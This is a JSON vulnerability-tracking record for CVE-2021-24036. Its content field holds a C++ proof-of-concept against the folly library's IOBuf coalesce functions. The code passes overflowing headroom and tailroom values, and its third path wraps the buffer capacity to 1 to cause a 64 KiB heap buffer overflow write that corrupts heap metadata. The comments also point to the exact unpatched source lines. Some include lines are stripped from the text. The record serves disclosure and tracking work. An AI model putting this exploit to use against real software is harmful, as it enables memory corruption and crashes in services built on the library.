{"uuid": "b105f2a3-d3d4-46cf-92b5-f061a308e0fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24036", "type": "seen", "source": "https://gist.github.com/shaggyinsomniac/9be3b6598ee0148b3837849a0f2996f6", "content": "// PoC: IOBuf coalesce capacity overflow at folly HEAD 8084fdec (2026-08-27)\n// Both integer-overflow fixes were re-reverted on 2026-08-21:\n//   78ea997 reverted D116335797 (coalesceAndReallocate guard)\n//   cebec52  reverted D116669664 (cloneCoalescedAsValueWithHeadroomTailroom guard)\n// Live code: folly/io/IOBuf.cpp:863 and :1043\n//   const std::size_t newCapacity = newLength + newHeadroom + newTailroom;  (unchecked)\n#include \n#include \n#include \n#include \n#define DCHECK(x) ((void)0)\n#define DCHECK_LE(a,b) ((void)0)\n#define DCHECK_LT(a,b) ((void)0)\n#define DCHECK_GE(a,b) ((void)0)\n#define DCHECK_GT(a,b) ((void)0)\n#define DCHECK_EQ(a,b) ((void)0)\n#define DCHECK_NE(a,b) ((void)0)\n#define DCHECK_NOTNULL(x) (x)\n#include \n\nusing namespace folly;\n\nstatic std::unique_ptr makeChain() {\n  auto a = IOBuf::copyBuffer(\"hello\", 5);\n  auto b = IOBuf::copyBuffer(\"world\", 5);\n  a->insertAfterThisOne(std::move(b));\n  return a;\n}\n\nint main(int argc, char** argv) {\n  setvbuf(stdout, NULL, _IONBF, 0);\n  int which = argc > 1 ? atoi(argv[1]) : 1;\n  constexpr auto kMax = std::numeric_limits::max();\n  if (which == 1) {\n    printf(\"[*] path 1: cloneCoalescedWithHeadroomTailroom(SIZE_MAX, SIZE_MAX)\\n\");\n    auto chain = makeChain();\n    printf(\"[*] chain built, calling cloneCoalescedWithHeadroomTailroom...\\n\");\n    auto cloned = chain->cloneCoalescedWithHeadroomTailroom(kMax, kMax);\n    printf(\"[!] survived, cloned capacity=%zu len=%zu\\n\", cloned->capacity(), cloned->length());\n  } else if (which == 2) {\n    printf(\"[*] path 2: coalesceWithHeadroomTailroom(SIZE_MAX, SIZE_MAX)\\n\");\n    auto chain = makeChain();\n    printf(\"[*] chain built, calling coalesceWithHeadroomTailroom...\\n\");\n    auto br = chain->coalesceWithHeadroomTailroom(kMax, kMax);\n    printf(\"[!] survived, br size=%zu\\n\", br.size());\n  } else {\n    // Large-chain clean-geometry variant (the CVE-2021-24036-shaped case):\n    // a 64 KiB chain, newHeadroom=0, newTailroom chosen so that\n    //   newCapacity = newLength + 0 + newTailroom  wraps to exactly 1.\n    // allocExtBuffer rounds up to the minimum ext-buffer size (goodExtBufferSize),\n    // but no rounding floor is anywhere near 64 KiB - the subsequent copy of\n    // newLength bytes into that minimum allocation is a genuine large heap\n    // buffer overflow WRITE. Under -fsanitize=address this is a precise\n    // \"WRITE of size 65536\" report; in plain builds it smashes heap metadata.\n    printf(\"[*] path 3 (large chain): coalesceWithHeadroomTailroom(0, SIZE_MAX-len+2)\\n\");\n    auto chain = makeChain();\n    static const char block[1024] = {'A'};\n    for (int i = 0; i < 64; ++i) {\n      chain->insertAfterThisOne(IOBuf::copyBuffer(block, sizeof(block)));\n    }\n    auto totalLen = chain->computeChainDataLength();\n    printf(\"[*] chain length = %zu bytes; newCapacity wraps to 1\\n\", totalLen);\n    printf(\"[*] calling coalesceWithHeadroomTailroom(0, SIZE_MAX-%zu+2)...\\n\",\n           totalLen);\n    auto br = chain->coalesceWithHeadroomTailroom(0, kMax - totalLen + 2);\n    printf(\"[!] survived, br size=%zu (heap corrupted)\\n\", br.size());\n  }\n  return 0;\n}\n// jemalloc stub (macOS PoC build only): define the function pointer that\n// folly/memory/detail/MallocImpl.cpp would normally dlsym.\n\n// Stubs for folly error-path machinery not needed by the PoC (macOS standalone build).\nnamespace folly {\nstd::exception_ptr current_exception() noexcept { return {}; }\nconst char* demangle(const char* x) { return x; }\nnamespace detail {\nstd::type_info const* exception_ptr_get_type_(std::exception_ptr const&) noexcept { return nullptr; }\nvoid* exception_ptr_get_object_(std::exception_ptr const&, std::type_info const*) noexcept { return nullptr; }\nstd::type_info const* exception_ptr_exception_typeid(std::exception const& e) noexcept { return &typeid(e); }\n} // namespace detail\n} // namespace folly\n", "creation_timestamp": "2026-08-28T14:30:31.075701Z"}